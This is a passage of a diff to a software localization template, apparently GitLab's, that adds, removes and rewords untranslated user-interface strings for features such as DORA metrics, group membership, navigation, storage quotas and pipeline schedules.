msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
